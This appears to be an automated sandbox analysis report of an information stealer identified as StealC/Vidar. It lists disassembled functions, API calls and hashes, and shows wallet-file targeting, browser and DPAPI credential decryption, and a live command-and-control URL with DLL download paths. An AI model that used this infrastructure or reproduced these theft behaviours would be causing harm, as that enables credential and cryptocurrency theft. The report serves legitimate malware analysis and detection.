API String ID: 2109742289-3916222277
Opcode ID: c876c03481cea0ba911b13284ec21f0519494e7285032883b9adda45310d40cc
Instruction ID: e5a5ec039ea51c4c0ca5c095643fb1fc7005f3b74b6864074fd863b56c4b7dca
Opcode Fuzzy Hash: c876c03481cea0ba911b13284ec21f0519494e7285032883b9adda45310d40cc
Instruction Fuzzy Hash: A241E6B150079C5EDB218BA4CC85FFB7FF9BB45704F1448ECE98A86182E271AA45DF60

Function 005C6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 005C6663

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

ShellExecuteEx.SHELL32(0000003C), ref: 005C6726
ExitProcess.KERNEL32 ref: 005C6755

Strings

<, xrefs: 005C66D9

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 967fb0b2b4c13f4d77ea8dbb4f2ff71b560b75fba7599579250fa59c16135d7f
Instruction ID: b16c9e9f29af83cf081288a432eef40ed56fa748b197c00eea0aa78436fe1805
Opcode Fuzzy Hash: 967fb0b2b4c13f4d77ea8dbb4f2ff71b560b75fba7599579250fa59c16135d7f
Instruction Fuzzy Hash: AC312DB1801219AFDB14EB90DC9AFED7B78BF84304F404189F21966191DF746B48CFAA

Function 005C87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005D0E28,00000000,?), ref: 005C882F
RtlAllocateHeap.NTDLL(00000000), ref: 005C8836
wsprintfA.USER32 ref: 005C8850

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Strings

%dx%d, xrefs: 005C8847

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: de66a2f60e3010e0b42a510bac0341ff5205637615d47e5786ec3c5631980b27
Instruction ID: 9ed0ab7f583997726c0806091926981b484dbc4cea55768ce3e12667e6719468
Opcode Fuzzy Hash: de66a2f60e3010e0b42a510bac0341ff5205637615d47e5786ec3c5631980b27
Instruction Fuzzy Hash: DA21EDB1A44208BFDB04DF94DD49FBEBBB8FB48711F108519F609A7280D7799901CBA5

Function 005C8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,005C951E,00000000), ref: 005C8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 005C8D62
wsprintfW.USER32 ref: 005C8D78

Strings

%hs, xrefs: 005C8D6F

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 4551927174ccb2be17e3cbf6e6636ef3b8c537222224468de98c9ae38abf98f3
Instruction ID: 46857006193c06e31f09bcc7f8086787cff2bb496a2471f56e3e57e6551977b8
Opcode Fuzzy Hash: 4551927174ccb2be17e3cbf6e6636ef3b8c537222224468de98c9ae38abf98f3
Instruction Fuzzy Hash: 0FE0ECB5A40208BFDB10DB94DD0AE697BB8EB44752F008195FD0D97280DAB59E10DBAA

Function 005BD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C8B60: GetSystemTime.KERNEL32(005D0E1A,00C7B5B0,005D05AE,?,?,005B13F9,?,0000001A,005D0E1A,00000000,?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005C8B86

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005BD481
lstrlen.KERNEL32(00000000), ref: 005BD698
lstrlen.KERNEL32(00000000), ref: 005BD6AC
DeleteFileA.KERNEL32(00000000), ref: 005BD72B

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e933886d30b7c997250d63117dc9e427c730c63189e5941abaaa9fa4887fd10d
Instruction ID: 4f6cce82b92c37242f3a4ae7e56bc2f24397b89a05333f93680af360da5307de
Opcode Fuzzy Hash: e933886d30b7c997250d63117dc9e427c730c63189e5941abaaa9fa4887fd10d
Instruction Fuzzy Hash: 0D91EE729101099FDB14EBE4DC9AFEE7F38BF94304F50815DF506A6091EE346A09CB66

Function 005C3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: f654ce27343730bb344def05e9b8687b950dd4f551737ca3352208d0bc24d429
Instruction ID: 886f888f0d3847bdc6e07219b395e596323d0ceddca9316ea23cce3d2d0e8677
Opcode Fuzzy Hash: f654ce27343730bb344def05e9b8687b950dd4f551737ca3352208d0bc24d429
Instruction Fuzzy Hash: F441FCB1D1010EAFCB04EBE4D849FEEBF74FB54704F10841DE41666291EB75AA45CBA2

Function 005C7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005D0E00,00000000,?), ref: 005C79B0
RtlAllocateHeap.NTDLL(00000000), ref: 005C79B7
GetLocalTime.KERNEL32(?,?,?,?,?,005D0E00,00000000,?), ref: 005C79C4
wsprintfA.USER32 ref: 005C79F3

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 88d36b0c48dfd6f8c6dedd8f9608cd37b89611611d76302037bda8364b9fd59e
Instruction ID: 16e67dbfafa22c0213e1a19afcd1078693988637145fd7be35b32d598a749dc4
Opcode Fuzzy Hash: 88d36b0c48dfd6f8c6dedd8f9608cd37b89611611d76302037bda8364b9fd59e
Instruction Fuzzy Hash: 931118B2904118ABCB149FC9DD45BBEBBF8FB4CB11F10811AF605A2280E2795940CBB5

Function 005CC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005CC74E

Part of subcall function 005CBF9F: __amsg_exit.LIBCMT ref: 005CBFAF

__getptd.LIBCMT ref: 005CC765
__amsg_exit.LIBCMT ref: 005CC773
__updatetlocinfoEx_nolock.LIBCMT ref: 005CC797

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: f32a7a1c05c082b24494ff2e3c74cc7fff764926b3c9ba7914197b015c11305a
Instruction ID: 4dfd746d314a1bfa0f6ad7158e158d9786378d9c2e41def5c0b619bbae5af46b
Opcode Fuzzy Hash: f32a7a1c05c082b24494ff2e3c74cc7fff764926b3c9ba7914197b015c11305a
Instruction Fuzzy Hash: 10F090329056069FEB21BBF8580BF5E3FE0FF80725F21414EF408A62D2DB6459409E96

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.5b0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.5b0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/e2b1563c6670f193.php0u	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dllU	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpser	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpB	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpre	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php&	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_005B9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_005BC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_005B7240
